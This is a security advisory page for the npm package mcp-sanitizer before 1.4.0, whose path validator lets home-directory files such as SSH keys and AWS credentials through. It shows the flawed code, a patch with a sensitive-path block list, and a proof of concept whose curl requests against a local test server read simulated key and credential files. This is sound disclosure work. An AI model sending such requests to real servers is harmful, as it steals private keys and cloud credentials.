mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
GHSA-7w82-6f9j-v9jp · published 28 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by GHSA-7w82-6f9j-v9jp?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
mcp-sanitizer(npm) < 1.4.0
How to check
- Run
npm ls mcp-sanitizerin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
mcp-sanitizerto 1.4.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths
### Summary
`mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.
### Details
The vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:
```js
// src/utils/validation-utils.js:188-196
if (!isInSafeLocation && path.isAbsolute(normalizedPath)) {
const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>
normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())
);
if (!isAllowedAbsolute) {
throw new Error('Absolute path not in allowed safe directory');
}
}
```
Because `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged.
The dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked.
The full data flow from a network request to the vulnerable return value is:
1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`.
2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called.
3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value.
4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error.
5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.
A consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon.
**Suggested patch:**
```diff
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@
const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];
+ const sensitiveHomeFragments = [
+ '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',
+ '/.npmrc', '/.env'
+ ];
@@
+ const normalizedForSensitiveCheck = normalizedPath.replace(/\\/g, '/').toLowerCase();
+ if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {
+ throw new Error('Access to sensitive user configuration path not allowed');
+ }
@@
- const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];
+ const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];
```
### PoC
**Environment requirements:** Docker, Python 3, Node.js 20
**Step 1 — Build and start the reproduction container:**
```bash
# From the vuln-002/ directory
python3 poc.py
```
The script automatically:
1. Copies the `mcp-sanitizer` source into a Docker build context.
2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container.
3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path.
4. Sends the three test requests described below.
**Step 2 — Manual HTTP requests (after the container is running on port 13572):**
Control test — must be blocked:
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/etc/passwd"}}'
# Expected: {"blocked": true}
```
Exploit test 1 — SSH private key exfiltration:
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.ssh/id_rsa"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "-----BEGIN RSA PRIVATE KEY-----..."}
```
Exploit test 2 — AWS credentials exfiltration:
```bash
curl -s -X POST http://127.0.0.1:13572/tool \
-H 'Content-Type: application/json' \
-d '{"tool_name":"file_reader","parameters":{"file_path":"/home/victim/.aws/credentials"}}'
# Expected: {"blocked": false, "EXPLOIT_SUCCESS": true, "file_content": "[default]\naws_access_key_id = ..."}
```
**Observed results (Phase 2 dynamic reproduction):**
```
[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}
=> blocked=true ✓ (dangerousUnixPaths correctly blocks /etc/)
[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}
=> blocked=false, EXPLOIT_SUCCESS=true
sanitized_path: /home/victim/.ssh/id_rsa
file_content:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK
SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002
-----END RSA PRIVATE K…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/starman69/mcp-sanitizer/security/advisories/GHSA-7w82-6f9j-v9jp
- github.com/starman69/mcp-sanitizer/commit/200685889b073f7470859b0941b67b7f46255f09
- github.com/starman69/mcp-sanitizer/releases/tag/v1.4.0
- github.com/advisories/GHSA-7w82-6f9j-v9jp
- github.com/starman69/mcp-sanitizer
Merged from GitHub Advisory Database, OSV. Last updated 29 Oct 2026. All vulnerabilities · RSS · JSON